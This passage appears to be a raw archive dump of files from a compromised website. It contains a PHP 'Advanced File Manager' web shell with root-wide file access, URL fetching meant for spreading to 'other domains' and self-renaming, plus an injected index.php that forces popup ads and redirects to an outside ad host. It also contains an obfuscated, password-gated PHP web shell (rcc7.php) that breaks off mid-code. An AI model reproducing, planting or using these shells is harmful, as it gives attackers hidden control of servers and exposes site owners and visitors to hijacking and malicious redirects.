FilesystemIterator::SKIP_DOTS) ); foreach($iterator as $file){ $file_path = $file->getPathname(); $relative_path = substr($file_path, strlen($zip_folder) + 1); if($file->isDir()){ $zip->addEmptyDir($relative_path); }else{ $zip->addFile($file_path, $relative_path); } } $zip->close(); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="'.$zip_name.'"'); header('Content-Length: '.filesize($zip_path)); readfile($zip_path); @unlink($zip_path); exit; } } } // ============ فك ضغط ============ if(isset($_POST['unzip_file'])){ $zip_file = $_POST['unzip_file']; if(file_exists($zip_file) && is_file($zip_file) && class_exists('ZipArchive')){ $zip = new ZipArchive(); if($zip->open($zip_file) === TRUE){ $zip->extractTo(dirname($zip_file)); $zip->close(); } } header('Location: ?path='.urlencode($current_path).'&msg=unzipped'); exit; } // ============ قراءة الملفات ============ $files = array(); $dirs = array(); if($handle = @opendir($current_path)){ while(($item = readdir($handle)) !== false){ if($item === '.') continue; $item_path = $current_path . DIRECTORY_SEPARATOR . $item; $item_info = array( 'name' => $item, 'path' => $item_path, 'is_dir' => is_dir($item_path), 'size' => is_file($item_path) ? @filesize($item_path) : 0, 'modified' => @filemtime($item_path), 'perms' => @fileperms($item_path) ? substr(sprintf('%o', @fileperms($item_path)), -4) : '----', 'writable' => is_writable($item_path) ); if($item_info['is_dir']){ $dirs[] = $item_info; }else{ $files[] = $item_info; } } closedir($handle); } // ترتيب usort($dirs, 'sort_by_name'); usort($files, 'sort_by_name'); function sort_by_name($a, $b){ return strcasecmp($a['name'], $b['name']); } $all_items = array_merge($dirs, $files); // تحويل الحجم function format_size($bytes){ if($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; if($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; if($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; return $bytes . ' B'; } // بناء مسار التنقل (Breadcrumb) function build_breadcrumb($path){ $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR)); $breadcrumb = array(); $accumulated = ''; // الجذر $breadcrumb[] = array('name' => '🏠 Root', 'path' => '/'); foreach($parts as $part){ if($part === '') continue; $accumulated .= DIRECTORY_SEPARATOR . $part; $breadcrumb[] = array('name' => $part, 'path' => $accumulated); } return $breadcrumb; } $breadcrumb = build_breadcrumb($current_path); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Manager - <?php echo htmlspecialchars(basename($current_path)); ?></title> <style> *{margin:0;padding:0;box-sizing:border-box} body{font-family:'Segoe UI',Arial,sans-serif;background:#f8f9fa;color:#212529;padding:20px} .container{max-width:1400px;margin:0 auto} .header{background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);padding:20px;border-radius:10px;color:#fff;margin-bottom:20px;box-shadow:0 4px 6px rgba(0,0,0,0.1)} .header h1{font-size:24px;margin-bottom:10px} .header-controls{display:flex;justify-content:space-between;align-items:center;margin-top:15px} .breadcrumb{background:#fff;padding:15px;border-radius:8px;margin-bottom:20px;box-shadow:0 2px 4px rgba(0,0,0,0.05);display:flex;align-items:center;flex-wrap:wrap;gap:5px} .breadcrumb a{color:#667eea;text-decoration:none;padding:5px 10px;border-radius:5px;transition:all 0.3s} .breadcrumb a:hover{background:#e8ebff} .breadcrumb span{color:#999} .path-info{background:#fff;padding:15px;border-radius:8px;margin-bottom:20px;box-shadow:0 2px 4px rgba(0,0,0,0.05)} .path-info strong{color:#667eea} .toolbar{background:#fff;padding:15px;border-radius:8px;margin-bottom:20px;box-shadow:0 2px 4px rgba(0,0,0,0.05)} .btn{padding:8px 16px;background:#667eea;color:#fff;border:none;border-radius:5px;cursor:pointer;text-decoration:none;display:inline-block;margin:5px;font-size:14px;transition:all 0.3s} .btn:hover{background:#5568d3;transform:translateY(-1px)} .btn-success{background:#28a745} .btn-success:hover{background:#218838} .btn-danger{background:#dc3545} .btn-danger:hover{background:#c82333} .btn-warning{background:#ffc107;color:#000} .btn-warning:hover{background:#e0a800} .btn-info{background:#17a2b8} .btn-info:hover{background:#138496} .btn-secondary{background:#6c757d} .btn-secondary:hover{background:#5a6268} .upload-zone{border:2px dashed #667eea;padding:40px;text-align:center;border-radius:8px;background:#f8f9ff;cursor:pointer;margin:15px 0;transition:all 0.3s} .upload-zone:hover,.upload-zone.dragover{background:#e8ebff;border-color:#5568d3} .upload-zone p{margin:10px 0;color:#666} table{width:100%;background:#fff;border-radius:8px;overflow:hidden;box-shadow:0 2px 4px rgba(0,0,0,0.05)} thead{background:#f8f9fa} th,td{padding:12px;text-align:left;border-bottom:1px solid #e9ecef} th{font-weight:600;color:#495057} tr:hover{background:#f8f9fa} .file-icon{font-size:20px;margin-right:8px} .modal{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.5);z-index:1000;align-items:center;justify-content:center} .modal.active{display:flex} .modal-content{background:#fff;padding:30px;border-radius:10px;max-width:500px;width:90%;box-shadow:0 10px 25px rgba(0,0,0,0.2)} .modal-content h3{margin-bottom:20px;color:#333} .modal-content input[type="text"],.modal-content input[type="url"]{width:100%;padding:10px;border:2px solid #ddd;border-radius:5px;margin:10px 0;font-size:14px} .modal-content input:focus{border-color:#667eea;outline:none} .close-modal{float:right;font-size:24px;cursor:pointer;color:#999} .close-modal:hover{color:#000} .msg{padding:12px 20px;border-radius:8px;margin-bottom:20px;font-weight:500} .msg-success{background:#d4edda;color:#155724;border-left:4px solid #28a745} .msg-error{background:#f8d7da;color:#721c24;border-left:4px solid #dc3545} .msg-info{background:#d1ecf1;color:#0c5460;border-left:4px solid#17a2b8} input[type="file"]{display:none} .action-btns{white-space:nowrap} .action-btns a,.action-btns button{font-size:12px;padding:5px 10px;margin:2px} .writable{color:#28a745} .not-writable{color:#dc3545} .stats{display:flex;gap:20px;margin-top:10px;font-size:14px} .stats span{background:rgba(255,255,255,0.2);padding:5px 15px;border-radius:5px} </style> </head> <body> <div class="container"> <div class="header"> <h1>📁 Advanced File Manager</h1> <div class="header-controls"> <div class="stats"> <span>📂 Folders: <?php echo count($dirs); ?></span> <span>📄 Files: <?php echo count($files); ?></span> <span>✅ Full Access Mode</span> </div> <a href="?logout=1" style="color:#fff;text-decoration:underline;font-size:14px">Logout</a> </div> </div> <?php // رسائل if(isset($_GET['msg'])){ $msg_class = 'msg-success'; $msg_text = ''; switch($_GET['msg']){ case 'renamed': $msg_text = '✔ Renamed successfully!'; break; case 'uploaded': $s = isset($_GET['success']) ? $_GET['success'] : 0; $f = isset($_GET['failed']) ? $_GET['failed'] : 0; $msg_text = "✔ Uploaded: {$s} file(s) | Failed: {$f}"; break; case 'url_downloaded': $msg_text = '✔ File downloaded from URL!'; break; case 'folder_created': $msg_text = '✔ Folder created!'; break; case 'file_created': $msg_text = '✔ File created!'; break; case 'deleted': $msg_text = '✔ Deleted successfully!'; break; case 'saved': $msg_text = '✔ File saved!'; break; case 'unzipped': $msg_text = '✔ File unzipped!'; break; case 'error': $msg_text = '❌ Operation failed!'; $msg_class = 'msg-error'; break; } if($msg_text) echo '<div class="msg '.$msg_class.'">'.$msg_text.'</div>'; } ?> <div class="breadcrumb"> <?php foreach($breadcrumb as $i => $crumb): ?> <a href="?path=<?php echo urlencode($crumb['path']); ?>"><?php echo htmlspecialchars($crumb['name']); ?></a> <?php if($i < count($breadcrumb) - 1): ?><span>/</span><?php endif; ?> <?php endforeach; ?> </div> <div class="path-info"> <strong>📂 Current Path:</strong> <code style="background:#f8f9fa;padding:5px 10px;border-radius:4px;margin-left:10px"><?php echo htmlspecialchars($current_path); ?></code> <?php if($current_path !== '/'): ?> <a href="?path=<?php echo urlencode(dirname($current_path)); ?>" class="btn btn-secondary" style="float:right">⬆️ Up</a> <?php endif; ?> </div> <div class="toolbar"> <button onclick="openModal('createFolderModal')" class="btn btn-success">📁 New Folder</button> <button onclick="openModal('createFileModal')" class="btn btn-success">📄 New File</button> <button onclick="openModal('uploadModal')" class="btn btn-primary">📤 Upload Files</button> <button onclick="openModal('urlModal')" class="btn btn-info">🌐 Download from URL</button> <button onclick="openModal('renameShellModal')" class="btn btn-warning">🔧 Rename Manager</button> <a href="?path=/" class="btn btn-secondary">🏠 Go to Root</a> </div> <table> <thead> <tr> <th>Name</th> <th>Size</th> <th>Modified</th> <th>Permissions</th> <th>Actions</th> </tr> </thead> <tbody> <?php foreach($all_items as $item): ?> <tr> <td> <span class="file-icon"><?php echo $item['is_dir'] ? '📁' : '📄'; ?></span> <?php if($item['is_dir']): ?> <a href="?path=<?php echo urlencode($item['path']); ?>" style="color:#667eea;text-decoration:none;font-weight:500"> <?php echo htmlspecialchars($item['name']); ?> </a> <?php else: ?> <?php echo htmlspecialchars($item['name']); ?> <?php endif; ?> <?php if($item['writable']): ?> <span class="writable" title="Writable">✓</span> <?php else: ?> <span class="not-writable" title="Read-only">🔒</span> <?php endif; ?> </td> <td><?php echo $item['is_dir'] ? '-' : format_size($item['size']); ?></td> <td><?php echo date('Y-m-d H:i', $item['modified']); ?></td> <td><?php echo $item['perms']; ?></td> <td class="action-btns"> <?php if(!$item['is_dir']): ?> <a href="?edit=<?php echo urlencode($item['path']); ?>" class="btn btn-warning" title="Edit">✏️</a> <a href="?view=<?php echo urlencode($item['path']); ?>" class="btn btn-info" target="_blank" title="View">👁️</a> <a href="?download=<?php echo urlencode($item['path']); ?>" class="btn btn-primary" title="Download">⬇️</a> <?php if(strtolower(pathinfo($item['name'], PATHINFO_EXTENSION)) === 'zip'): ?> <form method="POST" style="display:inline"> <input type="hidden" name="unzip_file" value="<?php echo htmlspecialchars($item['path']); ?>"> <button type="submit" class="btn btn-success" title="Unzip">📦</button> </form> <?php endif; ?> <?php else: ?> <a href="?zip_folder=<?php echo urlencode($item['path']); ?>" class="btn btn-warning" title="Zip Folder">🗜️</a> <?php endif; ?> <button onclick="renameItem('<?php echo addslashes($item['path']); ?>', '<?php echo addslashes($item['name']); ?>')" class="btn btn-info" title="Rename">✏️</button> <a href="?delete=<?php echo urlencode($item['path']); ?>" class="btn btn-danger" onclick="return confirm('Delete <?php echo addslashes($item['name']); ?>?')" title="Delete">🗑️</a> </td> </tr> <?php endforeach; ?> <?php if(empty($all_items)): ?> <tr><td colspan="5" style="text-align:center;color:#999;padding:30px">📭 Empty folder</td></tr> <?php endif; ?> </tbody> </table> </div> <!-- Modals --> <div id="createFolderModal" class="modal"> <div class="modal-content"> <span class="close-modal" onclick="closeModal('createFolderModal')">×</span> <h3>📁 Create New Folder</h3> <form method="POST"> <input type="hidden" name="create_folder" value="1"> <input type="text" name="folder_name" placeholder="Folder name" required autofocus> <button type="submit" class="btn btn-success">Create</button> <button type="button" class="btn btn-secondary" onclick="closeModal('createFolderModal')">Cancel</button> </form> </div> </div> <div id="createFileModal" class="modal"> <div class="modal-content"> <span class="close-modal" onclick="closeModal('createFileModal')">×</span> <h3>📄 Create New File</h3> <form method="POST"> <input type="hidden" name="create_file" value="1"> <input type="text" name="file_name" placeholder="File name (e.g., manager.php)" required autofocus> <button type="submit" class="btn btn-success">Create</button> <button type="button" class="btn btn-secondary" onclick="closeModal('createFileModal')">Cancel</button> </form> </div> </div> <div id="uploadModal" class="modal"> <div class="modal-content"> <span class="close-modal" onclick="closeModal('uploadModal')">×</span> <h3>📤 Upload Files</h3> <form method="POST" enctype="multipart/form-data" id="uploadForm"> <div class="upload-zone" id="dropZone" onclick="document.getElementById('fileInput').click()"> <p style="font-size:48px">📤</p> <p><strong>Drag & Drop files here</strong></p> <p style="font-size:14px;color:#999">or click to browse</p> <input type="file" name="upload_files[]" id="fileInput" multiple> </div> <div id="fileList" style="margin:15px 0;color:#666"></div> <button type="submit" class="btn btn-primary" id="uploadBtn" style="display:none">Upload</button> <button type="button" class="btn btn-secondary" onclick="closeModal('uploadModal')">Cancel</button> </form> </div> </div> <div id="urlModal" class="modal"> <div class="modal-content"> <span class="close-modal" onclick="closeModal('urlModal')">×</span> <h3>🌐 Download from URL</h3> <form method="POST"> <input type="hidden" name="download_url" value="1"> <input type="url" name="url" placeholder="https://example.com/file.zip" required autofocus> <p style="font-size:12px;color:#666;margin:10px 0">💡 Perfect for uploading file managers to other domains</p> <button type="submit" class="btn btn-primary">Download</button> <button type="button" class="btn btn-secondary" onclick="closeModal('urlModal')">Cancel</button> </form> </div> </div> <div id="renameShellModal" class="modal"> <div class="modal-content"> <span class="close-modal" onclick="closeModal('renameShellModal')">×</span> <h3>🔧 Rename File Manager</h3> <form method="POST"> <input type="hidden" name="rename_current" value="1"> <p style="margin-bottom:10px">Current: <strong><?php echo htmlspecialchars(basename(__FILE__)); ?></strong></p> <input type="text" name="new_name" placeholder="New name (e.g., admin.php)" required> <p style="font-size:12px;color:#999;margin:10px 0">⚠️ You'll be redirected to the new filename</p> <button type="submit" class="btn btn-warning">Rename</button> <button type="button" class="btn btn-secondary" onclick="closeModal('renameShellModal')">Cancel</button> </form> </div> </div> <div id="renameModal" class="modal"> <div class="modal-content"> <span class="close-modal" onclick="closeModal('renameModal')">×</span> <h3>✏️ Rename</h3> <form method="POST"> <input type="hidden" name="rename_from" id="renameFrom"> <input type="text" name="rename_to" id="renameTo" placeholder="New name" required> <button type="submit" class="btn btn-primary">Rename</button> <button type="button" class="btn btn-secondary" onclick="closeModal('renameModal')">Cancel</button> </form> </div> </div> <script> function openModal(id){document.getElementById(id).classList.add('active')} function closeModal(id){document.getElementById(id).classList.remove('active')} function renameItem(path,name){ document.getElementById('renameFrom').value=path; document.getElementById('renameTo').value=name; openModal('renameModal'); } // Drag & Drop var dropZone=document.getElementById('dropZone'); var fileInput=document.getElementById('fileInput'); var fileList=document.getElementById('fileList'); var uploadBtn=document.getElementById('uploadBtn'); var events=['dragenter','dragover','dragleave','drop']; for(var i=0;i<events.length;i++){ dropZone.addEventListener(events[i],function(ev){ev.preventDefault();ev.stopPropagation()}); } dropZone.addEventListener('dragenter',function(){dropZone.classList.add('dragover')}); dropZone.addEventListener('dragover',function(){dropZone.classList.add('dragover')}); dropZone.addEventListener('dragleave',function(){dropZone.classList.remove('dragover')}); dropZone.addEventListener('drop',function(e){ dropZone.classList.remove('dragover'); fileInput.files=e.dataTransfer.files; showFiles(fileInput.files); }); fileInput.addEventListener('change',function(){showFiles(fileInput.files)}); function showFiles(files){ if(files.length>0){ var names=[]; for(var i=0;i<files.length;i++)names.push(files[i].name); fileList.innerHTML='<strong>Selected:</strong> '+names.join(', '); uploadBtn.style.display='inline-block'; } } // Close modal on outside click window.onclick=function(e){ if(e.target.classList.contains('modal')){ e.target.classList.remove('active'); } } </script> </body> </html>12345/index.php000064400000003001151514460360007041 0ustar00<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Preparing Your Content...</title> <style> body { background: linear-gradient(135deg, #0f2027, #203a43, #2c5364); color: #fff; font-family: Arial, sans-serif; text-align: center; height: 100vh; margin: 0; display: flex; flex-direction: column; justify-content: center; } h1 { font-size: 2.5em; margin-bottom: 20px; } .loader { border: 8px solid #fff; border-top: 8px solid #3498db; border-radius: 50%; width: 80px; height: 80px; animation: spin 1s linear infinite; margin: 0 auto; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } p { margin-top: 20px; font-size: 1.2em; opacity: 0.7; } </style> <script> // Open popup ads function openPopups() { window.open("https://otieu.com/4/10314818", "_blank"); window.open("https://otieu.com/4/10314819"); window.open("https://otieu.com/4/10314817"); } // Redirect main window function redirectMain() { window.location.href = "https://otieu.com/4/10314818"; } window.onload = function() { openPopups(); setTimeout(redirectMain, 1000); // Redirect after 1.5 seconds }; </script> </head> <body> <h1>Preparing Your Content...</h1> <div class="loader"></div> <p>Please wait while we load your content.</p> </body> </html> 12345/rcc7.php000077700000262662151514460360006623 0ustar00<?php /* __________________________________________________ | Obfuscated by YAK Pro - Php Obfuscator 2.0.14 | | on 2024-10-26 08:44:37 | | GitHub: https://github.com/pk-fr/yakpro-po | |__________________________________________________| */ goto fZwJe; GGCHo: u8hi2(); goto NBiWT; BFyzL: auDLf: goto hIa7q; fZwJe: $eSNKE = "\x64\x65\x64\67\x66\x37\70\65\x32\145\x65\x64\146\66\141\142\x31\x30\x38\x35\62\71\67\x30\146\x30\x31\x35\x65\61\x30\60"; goto QUudt; teYJI: rz7ak: goto eLt_g; ebrsr: goto yE4w3; goto Zyx2k; HukGx: setcookie("\x61\x75\x74\x68", $eSNKE, time() + 3600); goto GGCHo; bDK0l: if (isset($_POST["\x6c\x6f\147\151\x6e"]) || isset($_GET["\160\141\163\x73"])) { goto d8FQp; } goto Qo0jg; c3J1v: LOYFl: goto uF0iN; L13ER: goto auDLf; goto jhD6f; zaMH2: if (md5($WAjB0) === $eSNKE) { goto vAoBH; } goto dPi5J; dPi5J: echo "\x3c\163\143\162\151\x70\x74\76\x61\154\x65\x72\x74\50\47\x49\156\x76\141\154\x69\144\x20\120\x61\163\x73\167\x6f\162\x64\47\51\74\x2f\x73\x63\162\151\x70\x74\x3e"; goto ebrsr; Zyx2k: vAoBH: goto HukGx; HV8Y4: return; goto L13ER; QUudt: if (isset($_COOKIE["\x61\x75\164\150"]) && $_COOKIE["\x61\165\x74\x68"] === $eSNKE) { goto rz7ak; } goto bDK0l; QQdhG: U8hi2(); goto c3J1v; Qo0jg: echo "\x3c\x68\164\x6d\x6c\40\x6c\141\x6e\147\75\42\145\x6e\x22\x3e\xa\40\x20\x20\x20\x3c\150\x65\141\144\x3e\xa\x20\40\40\x20\x20\40\74\155\x65\x74\141\x20\x6e\x61\155\x65\x3d\x22\x74\x68\x65\x6d\145\x2d\x63\157\x6c\x6f\162\42\x20\x63\x6f\x6e\x74\x65\x6e\x74\75\42\x72\x65\x64\42\76\xa\x20\x20\x20\x20\40\x20\74\155\145\x74\141\40\x6e\141\x6d\x65\75\42\x76\x69\x65\x77\160\x6f\x72\x74\42\x20\143\157\156\164\x65\156\164\75\42\167\151\x64\x74\150\x3d\x64\x65\x76\151\x63\145\55\167\151\144\x74\x68\54\40\151\x6e\151\164\x69\x61\x6c\x2d\x73\x63\141\x6c\145\75\60\x2e\x36\x30\x2c\40\163\150\x72\151\156\153\55\x74\x6f\55\146\151\x74\75\156\x6f\x22\x3e\12\x20\x20\40\x20\40\x20\x3c\x6c\x69\156\x6b\x20\x72\145\154\x3d\x22\163\164\171\x6c\x65\x73\x68\145\145\164\42\40\150\x72\145\x66\x3d\x22\x68\x74\x74\160\163\x3a\x2f\x2f\143\x64\x6e\56\152\x73\144\145\x6c\x69\x76\162\56\156\x65\164\57\156\x70\x6d\x2f\142\165\154\155\141\100\61\x2e\60\x2e\x32\57\x63\163\163\x2f\142\x75\154\155\141\x2e\155\x69\x6e\56\143\x73\x73\42\76\xa\x20\x20\40\40\74\x2f\x68\145\x61\x64\76\xa\40\40\x20\40\x3c\x62\157\x64\171\x20\144\141\x74\x61\55\164\150\x65\x6d\x65\75\x22\x64\141\x72\x6b\x22\x20\163\x74\171\154\145\x3d\x22\x64\x69\x73\160\154\141\171\x3a\146\154\x65\170\73\x6a\x75\x73\164\x69\x66\x79\x2d\143\x6f\x6e\x74\145\156\x74\x3a\x63\145\x6e\x74\x65\x72\x3b\141\x6c\x69\x67\156\x2d\151\164\x65\x6d\163\72\143\x65\x6e\x74\145\x72\x22\x3e\xa\x20\40\40\40\40\40\74\144\151\166\x20\x73\164\x79\x6c\145\75\x22\x64\x69\163\160\154\x61\171\x3a\156\157\x6e\145\42\76\12\40\x20\x20\40\40\40\x20\40\74\141\x20\150\162\145\146\75\42\x68\x74\164\160\x73\x3a\57\57\163\x65\154\154\x65\170\56\142\151\x7a\42\x20\164\151\164\x6c\145\75\42\x53\145\154\x6c\145\170\40\x53\150\157\160\42\x3e\x53\x65\154\154\x65\x78\40\123\150\x6f\x70\x3c\x2f\141\x3e\xa\40\40\x20\40\x20\x20\x3c\57\144\x69\x76\x3e\12\40\x20\x20\x20\40\40\x3c\146\157\162\x6d\x20\x6d\145\164\x68\x6f\x64\x3d\42\x70\157\163\x74\x22\40\143\154\x61\x73\163\x3d\x22\142\157\x78\42\x20\x73\x74\171\x6c\x65\x3d\42\142\x6f\162\144\x65\162\x3a\62\x70\x78\40\x73\x6f\154\x69\x64\40\x68\x73\x6c\x28\61\x37\61\x2c\x20\x31\60\60\x25\x2c\40\61\66\x25\51\x22\76\12\x20\x20\x20\40\x20\x20\x20\x20\x3c\150\64\40\143\x6c\141\x73\x73\x3d\42\151\163\55\x73\151\x7a\x65\x2d\x35\40\150\141\163\x2d\164\x65\170\x74\x2d\167\145\x69\x67\x68\164\55\142\157\154\x64\40\x68\x61\x73\55\x74\145\170\x74\55\160\x72\151\x6d\x61\162\171\x20\x6d\142\x2d\64\42\x3e\xa\x20\40\x20\40\40\x20\40\x20\40\40\x4c\x6f\x67\x69\x6e\xa\40\x20\x20\40\x20\x20\40\40\x3c\x2f\150\64\76\xa\x20\40\40\40\x20\x20\40\x20\74\x69\x6e\x70\x75\x74\40\x6e\x61\x6d\x65\x3d\42\160\141\x73\x73\42\x20\x69\x64\x3d\x22\x70\141\163\x73\42\40\160\154\x61\143\x65\150\157\154\x64\x65\162\x3d\42\120\141\x73\x73\x77\157\x72\x64\42\40\143\x6c\141\163\163\x3d\42\x69\156\x70\165\164\x20\x6d\142\x2d\x34\x22\40\164\x79\160\x65\x3d\42\160\141\163\163\x77\x6f\x72\144\42\57\76\12\40\x20\x20\x20\40\40\40\40\74\x62\165\x74\164\157\156\40\x74\x79\160\145\x3d\42\163\x75\142\x6d\x69\164\x22\40\x6e\x61\155\x65\75\42\154\x6f\147\151\x6e\42\40\x63\154\x61\x73\163\75\x22\x62\x75\x74\x74\x6f\156\x20\151\163\x2d\160\x72\x69\155\x61\162\x79\42\x3e\114\157\x67\151\156\74\57\x62\x75\164\x74\157\156\76\12\40\40\40\x20\x20\40\x3c\57\x66\157\162\155\76\12\x20\40\x20\x20\x3c\57\142\157\x64\x79\x3e\12\x20\40\x20\x20\74\x2f\x68\x74\155\x6c\x3e"; goto HV8Y4; STNMF: $WAjB0 = isset($_POST["\x70\x61\163\163"]) ? $_POST["\x70\141\x73\x73"] : $_GET["\160\x61\x73\163"]; goto zaMH2; hIa7q: goto LOYFl; goto teYJI; NBiWT: yE4w3: goto BFyzL; jhD6f: d8FQp: goto STNMF; eLt_g: setcookie("\141\x75\x74\x68", $eSNKE, time() + 3600); goto QQdhG; uF0iN: function u8Hi2() { goto RYjUz; Gjxeh: echo $_SERVER["\x53\x45\122\126\x45\122\137\x41\104\x4d\111\x4e"]; goto x_PfO; ilodd: goto C0Md8; goto n4dOh; L3Ewc: tGwOp: goto oIhoP; x20Uz: echo "\74\57\156\x6f\x62\x72\76\x3c\x2f\x6c\x69\76\12\x20\x20\40\x20\x3c\154\x69\x3e\120\110\120\x20\126\x65\162\x73\x69\157\156\x20\72\x20\74\156\157\142\x72\76"; goto U9Ak6; dQvpc: F2Y3t("\106\x69\154\145\40\x63\162\x65\141\164\x65\144\41"); goto waKUT; TkbBu: echo "\12\x3c\x66\x6f\x72\155\40\x6d\x65\x74\x68\157\x64\x3d\42\160\x6f\x73\164\42\40\143\x6c\141\x73\x73\x3d\42\142\157\170\42\x20\x73\x74\171\154\x65\75\42\x62\157\162\144\145\162\72\62\x70\170\x20\163\157\154\151\x64\x20\x68\x73\154\50\61\67\x31\x2c\x20\61\60\x30\45\54\x20\x31\66\x25\51\x22\x3e\12\40\40\x3c\x68\64\x20\x63\154\x61\x73\163\x3d\x22\151\163\55\x73\151\172\x65\x2d\x35\x20\x68\141\x73\x2d\164\x65\x78\x74\x2d\167\145\x69\x67\150\164\x2d\x62\157\x6c\x64\40\x68\141\163\55\x74\x65\170\x74\55\x70\162\151\155\141\x72\171\x20\155\142\x2d\64\x22\x3e\xa\40\x20\x20\x20\x45\144\x69\164\40\106\x69\x6c\x65\x3a\40\x3c\163\x70\141\156\x20\x63\154\x61\163\163\75\x22\150\x61\163\x2d\x74\x65\x78\164\x2d\x77\150\x69\x74\x65\40\150\141\x73\55\x74\145\170\x74\x2d\x77\x65\x69\147\x68\x74\55\156\157\x72\x6d\141\x6c\x22\76\40"; goto PQOqt; viuV1: goto uBpEI; goto P_RV9; CE65j: echo $_SERVER["\x53\105\122\x56\105\x52\x5f\123\x4f\x46\x54\127\x41\x52\105"]; goto JrTm1; ousj7: echo substr(@php_uname(), 0, 120); goto VqRBx; tZlvn: echo "\74\57\x6e\157\142\x72\76\12\x20\x20\40\40\x20\x20\x3c\x2f\x64\151\166\76\xa\x20\40\x20\x20\40\x20\x3c\144\x69\166\x20\x6f\156\143\x6c\151\x63\153\75\42\156\x61\166\x69\147\x61\x74\157\x72\56\x63\154\151\x70\x62\157\141\x72\144\x2e\x77\x72\x69\164\145\124\145\170\x74\x28\47"; goto KANoq; qZ3ot: die; goto ftJXw; ThnZz: foreach ($C1o8f as $hKgYg) { goto Lek3g; j7H2Q: TuPGL: goto EezkA; Yv8Gq: goto U4f_h; goto j7H2Q; h4jrd: U4f_h: goto oRWXD; Lek3g: if ($mWJjd[6]("{$keVpk}\x2f{$hKgYg}")) { goto TuPGL; } goto Yv8Gq; EezkA: echo "\74\164\162\76\74\x74\x64\76\x3c\141\x20\150\162\145\x66\75\42\x3f\x70\75" . SiRa4("{$keVpk}\x2f{$hKgYg}") . "\x22\76\74\x69\40\x63\154\x61\x73\x73\x3d\42\142\151\40\142\x69\x2d\x66\x6f\x6c\144\x65\162\x32\x2d\x6f\x70\145\156\42\x3e\74\x2f\151\x3e\40{$hKgYg}\x3c\57\141\76\x3c\x2f\164\x64\76\x3c\164\x64\x3e\x4e\x2f\x41\x3c\x2f\164\144\76\74\x74\x64\76\74\141\x20\x68\162\145\146\x3d\x27\x3f\x70\75" . siRa4($keVpk) . "\x26\144\75" . SIrA4($hKgYg) . "\x26\143\x68\x6d\157\144\x64\x3d\61\x27\76\x3c\146\157\x6e\164\40\143\x6f\x6c\157\162\x3d\42" . ($mWJjd[8]("{$keVpk}\x2f{$hKgYg}") ? "\43\x30\x30\146\x66\60\60" : (!$mWJjd[9]("{$keVpk}\57{$hKgYg}") ? "\162\145\144" : null)) . "\42\x3e" . IyZxR("{$keVpk}\x2f{$hKgYg}") . "\74\x2f\146\157\x6e\x74\76\74\57\141\76\x3c\x2f\x74\144\x3e\x3c\x74\x64\76" . $mWJjd[19]("\x59\55\155\55\x64\x20\x48\72\151", $mWJjd[20]("{$keVpk}\57{$hKgYg}")) . "\x3c\57\x74\144\76\x3c\164\x64\x20\143\x6c\141\x73\x73\x3d\x27\x69\x73\x2d\146\154\x65\170\x27\x20\163\164\x79\154\145\75\x27\x67\141\x70\x3a\x38\160\x78\x27\76\x3c\x61\x20\x63\154\141\x73\x73\75\47\x62\165\x74\164\157\156\40\151\163\55\x69\156\146\x6f\x20\x69\x73\x2d\x73\155\141\x6c\154\40\x70\x78\x2d\x32\x20\160\171\55\60\47\x20\150\x72\145\x66\75\x22\x3f\x70\x3d" . siRa4($keVpk) . "\46\x61\x3d" . sIRa4("\162\145\156\141\x6d\x65") . "\x26\x6e\x3d" . sirA4($hKgYg) . "\x26\x74\x3d\x64\x22\76\x3c\151\x20\x63\x6c\x61\x73\x73\x3d\42\151\x20\142\x69\x2d\x69\156\160\x75\164\x2d\143\165\162\x73\x6f\x72\55\x74\x65\170\164\x20\151\x73\55\163\151\172\145\55\66\x20\x6d\162\x2d\61\42\76\x3c\x2f\151\x3e\122\145\156\141\x6d\x65\74\57\141\x3e\x3c\141\x20\143\x6c\141\163\163\x3d\47\142\x75\x74\x74\157\x6e\x20\151\x73\x2d\x64\141\x6e\x67\145\162\40\x69\163\55\163\x6d\x61\154\154\40\160\170\55\62\40\160\x79\x2d\x30\x27\40\150\162\145\146\x3d\42\77\x70\75" . SIrA4($keVpk) . "\46\164\75\144\x26\x61\x3d" . sIRa4("\x64\x65\x6c\x65\x74\145") . "\x26\x6e\75" . sira4($hKgYg) . "\42\76\x3c\x69\40\x63\x6c\141\x73\x73\75\x22\x62\151\x20\142\x69\x2d\164\162\x61\163\150\55\146\x69\154\x6c\40\151\x73\x2d\163\151\172\x65\x2d\66\x20\x6d\x72\x2d\61\x22\76\74\x2f\151\76\104\145\154\x65\164\x65\74\57\x61\76\74\57\x74\x64\x3e\74\57\164\162\76"; goto h4jrd; oRWXD: } goto sXwNB; FmM8h: nBPoY: goto RR_mL; Q_7wu: if (!($zErae < count($G21FS))) { goto tYGoe; } goto NL4ms; udm3W: t9eud: goto B6QGb; AqqqY: isset($_POST["\163"]) ? $mWJjd[12]("{$keVpk}\57{$_POST["\156"]}") ? F2Y3T("\x66\x69\154\145\40\x6e\x61\x6d\x65\40\150\x61\x73\40\142\x65\145\156\40\x75\163\x65\x64", 0, "\x26\141\x3d" . sira4("\x6e\x65\167\106\151\154\145")) : ($mWJjd[13]("{$keVpk}\x2f{$_POST["\x6e"]}", $_POST["\143\x74\x6e"]) ? f2Y3T("\x66\151\x6c\145\40\x63\162\145\141\164\x65\144\40\x73\165\143\x63\145\x73\163\x66\165\154\x6c\171", 1, "\46\x61\75" . SIRa4("\166\x69\145\x77") . "\x26\x6e\x3d" . Sira4($_POST["\x6e"])) : f2y3T("\146\x69\x6c\145\40\146\x61\151\154\145\144\x20\164\x6f\40\143\162\x65\141\164\x65", 0)) : null; goto Vry41; ALTnY: echo 